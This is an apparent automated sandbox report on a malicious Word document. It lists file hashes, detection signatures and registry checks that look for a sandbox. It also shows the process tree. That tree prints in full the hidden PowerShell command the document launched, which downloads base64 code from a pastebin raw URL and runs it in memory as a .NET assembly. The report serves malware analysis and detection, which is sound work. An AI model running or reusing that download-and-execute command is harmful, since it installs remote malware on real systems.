Analysis
-
max time kernel
149s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
24-07-2024 01:53
Behavioral task
behavioral1
Sample
5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc
Resource
win10v2004-20240709-en
General
-
Target
5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc
-
Size
781KB
-
MD5
0949319f174a220b4e719715d9d5b20e
-
SHA1
cdebf579f8f30226872d0b5bbeaeaa81877fe9c8
-
SHA256
5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077
-
SHA512
9e5f5362ea147aa19ae6ebe74cbf037b2a295343f01cab5b1a44a076954abf3773d77e3fae26e0ebf488b1fde579e2178a75183b6a74a5acb669b4ed503d9632
-
SSDEEP
6144:rcnOY442OGwG1e3MenWfLds5Gn/RQQDPzuUC3uJXfr2opd91pV0mccMRdWIb8haR:rvCG1PenjQzi5Wyk/yJY0F
Malware Config
Extracted
https://pastebin.com/raw/pw1Ht9hR
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4748 1336 powershell.exe 83 -
Blocklisted process makes network request 1 IoCs
flow pid Process 23 4748 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4748 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 22 pastebin.com 23 pastebin.com -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1336 WINWORD.EXE 1336 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4748 powershell.exe 4748 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4748 powershell.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 1336 WINWORD.EXE 1336 WINWORD.EXE 1336 WINWORD.EXE 1336 WINWORD.EXE 1336 WINWORD.EXE 1336 WINWORD.EXE 1336 WINWORD.EXE 1336 WINWORD.EXE 1336 WINWORD.EXE 1336 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1336 wrote to memory of 4748 1336 WINWORD.EXE 88 PID 1336 wrote to memory of 4748 1336 WINWORD.EXE 88
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4748
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
47KB
MD5f8c7ec6da57ae75490132ff35cef2247
SHA1962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8
SHA256849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb
SHA512e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094
-
Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
16B
MD5d29962abc88624befc0135579ae485ec
SHA1e40a6458296ec6a2427bcb280572d023a9862b31
SHA256a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866
SHA5124311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f
-
Filesize
2B
MD5f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize1KB
MD5fb883578bde26c825e09e1213b6a5327
SHA16fc3d9c864e50f7e9665badbbf8d4cef21a766b7
SHA2560f61ac437094d5f9c007095169159b852df8456cccde1fa062a18ee9f3659caa
SHA512a1e4807928970d9b8626bb65ebbfd23efdbf65ce28dd2c71e353e176fb439cc0d78fde572672530b50277cc8218c7980da43e90801c435a7609edbde2f9fb566